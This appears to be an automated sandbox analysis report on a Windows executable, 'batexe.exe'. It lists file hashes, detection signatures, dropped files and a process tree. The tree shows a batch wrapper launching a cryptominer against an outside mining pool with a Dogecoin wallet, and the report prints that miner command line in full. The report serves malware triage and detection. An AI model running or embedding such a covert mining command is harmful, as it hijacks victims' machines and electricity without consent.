Analysis

  • max time kernel
    293s
  • max time network
    298s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240221-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    23/02/2024, 20:18

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3768
    • C:\Users\Admin\AppData\Local\Temp\87AE.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\87AE.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\87AE.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2872
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8E17.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2712
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:3592

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\87AE.tmp\b2e.exe

    Filesize

    22.6MB

    MD5

    514fab649cf67b1913f5f761130184ee

    SHA1

    0564b1276fae64d05bd3bbc8efd05a7c11955e7d

    SHA256

    964d581ff7fa965f9dfee55b630e00fe70ba029fefcf6fe9fdff68439954eb60

    SHA512

    2069178ce6fc1f1b226e4571012ed166a0c76898e9e3554bf2c13980d060191a1ba95301173e9ee10b5c1e874f35e4e2bbb5ed052c842489354935224e033ab0

  • C:\Users\Admin\AppData\Local\Temp\87AE.tmp\b2e.exe

    Filesize

    576KB

    MD5

    119b67967e9fb70b35b10846a211451e

    SHA1

    a53f0b93594f8a1a98dbfc74d9618e75ae25fc0e

    SHA256

    4cadf7e8122358ea260269b67f2c45abd114ee61349ac9a859f26ede9cd873ae

    SHA512

    eecc92eaeb53ce2bdd5ebaab56ca3a6b54f8eb1cf789f3af972ec2d0a16ddf2aedc08bda97f7dd765ae46f9d506bc397dc2aff1f9fedd74e3e042bb48459ed5e

  • C:\Users\Admin\AppData\Local\Temp\87AE.tmp\b2e.exe

    Filesize

    1.9MB

    MD5

    db5c09852a9dce74cc260d402b8487bb

    SHA1

    7f53cb14088c23cb2140e52b245535100dfbea85

    SHA256

    e7a5f75e6901b233b87b806134d5bea194e44705f263f86f471c89fd16d9e262

    SHA512

    83f204c1b641a7c4e33b91cad2fe52c450637ff5653a8d98709d728f7930e9a9e13ceb974c2cf8e622f5ded0766ec86ca01684e3af80f6fd00100c27f36df133

  • C:\Users\Admin\AppData\Local\Temp\8E17.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.7MB

    MD5

    665cf1b87962dd690667091830fee7ef

    SHA1

    f31573660db0302ace0972f23dda211db993c310

    SHA256

    3036cd6a1d3b30e99180779dac8ba4ba2a17e0c37a4eb761a4703c986f0e2189

    SHA512

    a3fdd9bbbe741801833bb3dc89fc5314c1070ddec47c795ccc8b6d64ef36720a6cc994283b0a0a031c568778236c303eead12d90e823bcd4d90198f202b3dd34

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.5MB

    MD5

    1575adfe3e476740eb11f16b4ea0c46a

    SHA1

    3adb1b484502181735145850a2829c26c35582b8

    SHA256

    9312bb070a8ad82af52a9eec045ed98f39520a1e1e80a88d173cb83e93794f5b

    SHA512

    895535f60bd22710c93f435e3d0c515d5d6f6859ee92838e524fc6a3a81a318c3b9b3ff86f5031e72a9823255d943142e6383cb000790b7e81bd5e4721699dd7

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.2MB

    MD5

    2137b157016c47362669ffea07a0f38f

    SHA1

    861c8cdc702e836e99281ee4dd17e9c3bab80363

    SHA256

    d50f025e5a18e64de3a38cc8e75f2ea19b7c3adfdc6c4b4f5c9a24890b93f572

    SHA512

    06eb44f7a7f632c23866cd1a29edbede6c160365e2b861cdef0c652ca88097efd15c98ef14df3ad3d126638073fba4ccdb7a1fbaedb7c235be8bfbefbb4e3ba1

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.2MB

    MD5

    9c0d0c2474e45b2c175072cfa452c103

    SHA1

    e505058a1b0581dd076e80587aff782d7ec63be6

    SHA256

    ec29d4888b8753cfde4bc501c14af9a42ad7a279c68489e4a9e43c959253dce2

    SHA512

    6ac4054a7416bef3d810840086f41df723d941b129361bc6c11cd8b285b9bc5604fe9b7fc2945f7460edab9d7ede33395e0fb7ae15e4570b01e9204087a015d5

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.3MB

    MD5

    4f67f8eb492666b30cfc167742ff8ce6

    SHA1

    7bfe414ccf11faa21ba8b407aed03c9a3bbdadde

    SHA256

    aec9c52c0d445bdee35f7ba93094836b61a496649a58992265709f3564503db4

    SHA512

    23d8cfd19a24e6916294c7930c4bd780029b553600b54e2fed5cde63638cc7934cc415e1ba56453e7460f4f257f58cfc56c774dc8e2777abf596567a363628f9

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/2872-53-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/2872-8-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/3592-43-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3592-59-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3592-45-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/3592-46-0x000000005DD80000-0x000000005DE18000-memory.dmp

    Filesize

    608KB

  • memory/3592-47-0x0000000001030000-0x00000000028E5000-memory.dmp

    Filesize

    24.7MB

  • memory/3592-99-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3592-54-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3592-44-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/3592-64-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3592-69-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3592-74-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3592-79-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3592-89-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3592-94-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/3768-9-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB